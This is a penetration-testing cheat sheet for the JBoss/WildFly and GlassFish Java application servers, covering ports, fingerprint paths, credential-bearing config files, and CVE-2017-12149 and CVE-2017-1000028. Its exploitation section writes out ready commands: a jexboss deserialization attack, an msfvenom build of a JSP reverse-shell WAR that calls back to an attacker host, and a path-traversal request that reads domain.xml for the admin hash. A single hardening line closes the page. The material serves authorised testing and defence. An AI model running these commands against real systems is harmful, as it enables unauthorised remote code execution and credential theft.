Service bank
WEB / APP 8080/tcp 8443/tcp 4848/tcp 9990/tcp

JBoss / GlassFish

aka wildfly, glassfish

Java application servers. JBoss exposes the JMX/admin consoles and a deserialization endpoint (jexboss); both JBoss and GlassFish let an admin deploy a malicious WAR for code execution.

Ports

PortProtoNotes
8080tcpJBoss/GlassFish HTTP app port
8443tcpGlassFish HTTPS
4848tcpGlassFish admin console
9990tcpWildFly/JBoss management

Fingerprint

  • JBoss: /jmx-console, /web-console, /invoker/JMXInvokerServlet
  • GlassFish: 'GlassFish Server' banner, admin console on 4848

Key files

PathHoldsSensitive
standalone/configuration/standalone.xml JBoss/WildFly datasource creds, mgmt users sensitive
glassfish/domains/domain1/config/domain.xml GlassFish admin/datasource config sensitive

Default / weak creds

  • GlassFish admin / (blank) on old installs

Known CVEs

CVEImpact
CVE-2017-12149JBoss unauthenticated Java deserialization RCE (ReadOnlyAccessFilter)
CVE-2017-1000028GlassFish path traversal (read domain.xml / arbitrary files)

Exploitation primitives

  • JBoss: jexboss / JMXInvokerServlet deserialization for unauth RCE, or deploy a WAR via the JMX console
  • GlassFish: log in to 4848, deploy a malicious .war, browse to it for a JSP shell
  • GlassFish traversal (CVE-2017-1000028) reads domain.xml for the admin hash

Overview

JBoss/WildFly and GlassFish are Java app servers. The reliable paths are deserialization (JBoss) and WAR deployment through the admin console (both).

JBoss deserialization (jexboss)

python3 jexboss.py -host http://<TARGET>:8080

Deploy a malicious WAR

Build a JSP webshell WAR:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f war -o shell.war

GlassFish — deploy it via the admin console (4848) or autodeploy, then browse:

curl "http://<TARGET>:8080/shell/"

GlassFish file read (CVE-2017-1000028)

curl --path-as-is "http://<TARGET>:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/domain.xml"

Hardening

Remove the JMX/web consoles, patch the deserialization filters, set a strong admin password, and disable remote WAR deployment.

References